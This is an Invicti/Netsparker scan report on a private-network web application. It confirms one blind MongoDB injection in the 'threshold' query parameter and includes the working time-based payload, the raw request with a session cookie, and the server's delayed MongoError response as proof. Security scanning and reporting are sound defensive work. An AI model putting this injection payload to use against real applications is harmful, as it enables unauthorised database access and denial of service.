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11/30/2022 07:36 AM (UTC-05:00)

Detailed Scan Report
Go to the report on Invicti Enterprise.

 http://192.168.50.57:4000/

Scan Time : 10/21/2022 06:57 AM
Scan Duration : 00:00:01:55
Total Requests : 250
Average Speed : 2.2 r/s

Tags Default Website Group

Risk Level:

HIGH

Identified Vulnerabilities

 Critical 0
 High 1
 Medium 0
 Low 0
 Best Practice 0
 Information 0
 TOTAL 1

Confirmed Vulnerabilities

 Critical 0
 High 1
 Medium 0
 Low 0
 Best Practice 0
 Information 0
 TOTAL 1
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0
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https://www.netsparkercloud.com/scans/report/ab83f640d7db4fc153ccaf35025992c4/
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Vulnerability Summary
CONFIRM VULNERABILITY METHOD URL PARAMETER

PARAMETER
TYPES

 Blind MongoDB
Injection

GET http://192.168.50.57:4000/allocations/4?threshold
=%27%3bsleep(25000)%3bns()%3b%27%20%2f
*%208185f64a-0c77-41b1-a5d1-4ab770811ea4%2
0*%2f

threshold Querystring
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1. Blind MongoDB Injection
HIGH 1 CONFIRMED 1

This vulnerability is removed or expired.

Vulnerabilities

1.1. http://192.168.50.57:4000/allocations/4?threshold=%27%3bsleep(25000)%3bns()%3b%27%
20%2f*%208185f64a-0c77-41b1-a5d1-4ab770811ea4%20*%2f
CONFIRMED

Method Parameter Parameter Type Value

GET  threshold Querystring ';sleep(25000);ns();' /* 8185f64a-0c77-41b1-a5d1-4ab770811ea4 */

Proof of Exploit

Identified Database Version

4.4.1

Request  Response

Request

GET /allocations/4?threshold=%27%3bsleep(25000)%3bns()%3b%27%20%2f*%208185f64a-0c77-41b1-a5d1-
4ab770811ea4%20*%2f HTTP/1.1

 Host: 192.168.50.57:4000
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

 Accept-Encoding: gzip, deflate
 Accept-Language: en-us,en;q=0.5
 Cache-Control: no-cache

 Cookie: connect.sid=s%3AGv59ogELr0Yiy1jcvcXeXE-
u4eJEoRu0.DY%2F7EuS%2BDqMBh%2BTOAT%2FferpN6i%2B%2BDl%2BdwNiihJzbEWI

 Referer: http://192.168.50.57:4000/allocations/4
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/105.0.5195.102 Safari/537.36
 X-Netsparker-Debug: threadName=attackerPool - BlindMongoDbInjectionEngine;source=Attacker-MongoDB

Injection (Blind);patternname=MongoDB Time Based Detection
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Response

Response Time (ms) : 25322.1684

Total Bytes Received : 248

Body Length : 0

Is Compressed : No

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 173
Content-Type: text/html; charset=utf-8
Date: Fri, 21 Oct 2022 10:57:53 GMT
ETag: W/"ad-V3WoO6CkoQT1AQoDqb1A/XH0ZYY"

<!doctype HTML>
<html>

<head>
<title>Internal Error</title>
</head>

<body>

Oops..
<br>MongoError: ReferenceError: ns is not defined :
@:1:65

</body>

</html>

History

History

Message Owner Date

The Issue was sent to Jira (Jira2) integration. (#OT-272) Tuncay Kayaoglu 11/30/2022 10:32:24 AM

The Issue was detected during the Scan. The State was set to Present System 10/21/2022 10:59:00 AM

Show Scan Detail

https://netspark3rs.atlassian.net/browse/OT-272
https://www.netsparkercloud.com/Scans/ReportByVulnerabilityLookup/ab83f640-d7db-4fc1-53cc-af35025992c4/?VulnerabilityLookupId=ff2efecb-36fa-4be0-5409-af35025b5690


5/7

Enabled Security Checks : Apache Struts S2-045 RCE,
Apache Struts S2-046 RCE,
Arbitrary Files (IAST),
Backup Files,
BREACH Attack,
Code Evaluation,
Code Evaluation (IAST),
Code Evaluation (Out of Band),
Command Injection,
Command Injection (Blind),
Command Injection (IAST),
Configuration Analyzer (IAST),
Content Security Policy,
Content-Type Sniffing,
Cookie,
Cross Frame Options Security,
Cross-Origin Resource Sharing (CORS),
Cross-Site Request Forgery,
Cross-site Scripting,
Cross-site Scripting (Blind),
Drupal Remote Code Execution,
Expression Language Injection,
File Upload,
GraphQL Library Detection,
Header Analyzer,
Heartbleed,
HSTS,
HTML Content,
HTTP Header Injection,
HTTP Header Injection (IAST),
HTTP Methods,
HTTP Status,
HTTP.sys (CVE-2015-1635),
IFrame Security,
Insecure JSONP Endpoint,
Insecure Reflected Content,
JavaScript Libraries,
JSON Web Token,
Local File Inclusion,
Local File Inclusion (IAST),
Log4j Code Evaluation (Out of Band),
Login Page Identifier,
Malware Analyzer,
Mixed Content,
MongoDB Injection (Blind),
MongoDB Injection (Error Based),
Open Redirection,
Oracle WebLogic Remote Code Execution,
Referrer Policy,
Reflected File Download,
Remote File Inclusion,
Remote File Inclusion (Out of Band),
Reverse Proxy Detection,
RoR Code Execution,
Server-Side Request Forgery (DNS),
Server-Side Request Forgery (Pattern Based),
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Server-Side Template Injection,
Signatures,
Software Composition Analysis (SCA),
Spring4Shell Remote Code Execution,
SQL Injection (Blind),
SQL Injection (Boolean),
SQL Injection (Error Based),
SQL Injection (IAST),
SQL Injection (Out of Band),
SSL,
Static Resources (All Paths),
Static Resources (Only Root Path),
Unicode Transformation (Best-Fit Mapping),
WAF Identifier,
Web App Fingerprint,
Web Cache Deception,
WebDAV,
Windows Short Filename,
XML External Entity,
XML External Entity (Out of Band)

URL Rewrite Mode : Heuristic

Detected URL Rewrite Rule(s) : null

Excluded URL Patterns :

gtm\.js
WebResource\.axd
ScriptResource\.axd
logout

Authentication : None

Authentication Profile :

Scheduled : No

Additional Website(s) : None

Scan Profile : Default

Scan Policy : Default Security Checks - 685a545d373c4c6483bfabd30154b25f

Report Policy : Default Report Policy

Scope : Entered Path and Below

https://www.netsparkercloud.com/scanpolicies/update/685a545d373c4c6483bfabd30154b25f/
https://www.netsparkercloud.com/reportpolicies/update/013660af56b7417685becf2b84966816/
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Scan Type : Full

Max Scan Duration : 48 hour(s)

This report created with 1.0.0.0
 https://www.netsparker.com

https://www.netsparker.com/

